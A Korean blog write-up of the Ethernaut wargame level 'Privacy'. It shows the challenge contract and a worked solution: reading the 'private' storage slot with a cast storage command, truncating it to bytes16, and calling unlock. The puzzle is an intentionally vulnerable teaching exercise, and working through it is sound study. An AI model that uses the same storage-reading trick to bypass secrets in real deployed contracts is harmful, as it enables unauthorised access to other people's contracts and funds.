The Ethernaut - 12. Privacy

Gunter·2024년 10월 20일
0

The Ethernaut

목록 보기
13/26

The creator of this contract was careful enough to protect the sensitive areas of its storage.

Unlock this contract to beat the level.

Things that might help:

Understanding how storage works
Understanding how parameter parsing works
Understanding how casting works
Tips:

Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.

 


 

문제코드에 귀여운 ASCII 고양이가 있어서 좋았다

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
    */
}

 


참고 : https://medium.com/aigang-network/how-to-read-ethereum-contract-storage-44252c8af925

cast storage 0xD95f9802d11603CECfc7D70601806d2708473BA4 5 --rpc-url $RPC_URL
>>> 0xbafa1a0f52370d0b74b1e5b2a0385606b7166d533bb647bcc4fde72161c70692
//SPDX
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;

contract Constant {

    function convert() public returns (bytes16) {
        return bytes16(bytes32(0xbafa1a0f52370d0b74b1e5b2a0385606b7166d533bb647bcc4fde72161c70692));
    }
}

>>> 
{
	"0": "bytes16: 0xbafa1a0f52370d0b74b1e5b2a0385606"
}
await contract.unlock('0xbafa1a0f52370d0b74b1e5b2a0385606')

0개의 댓글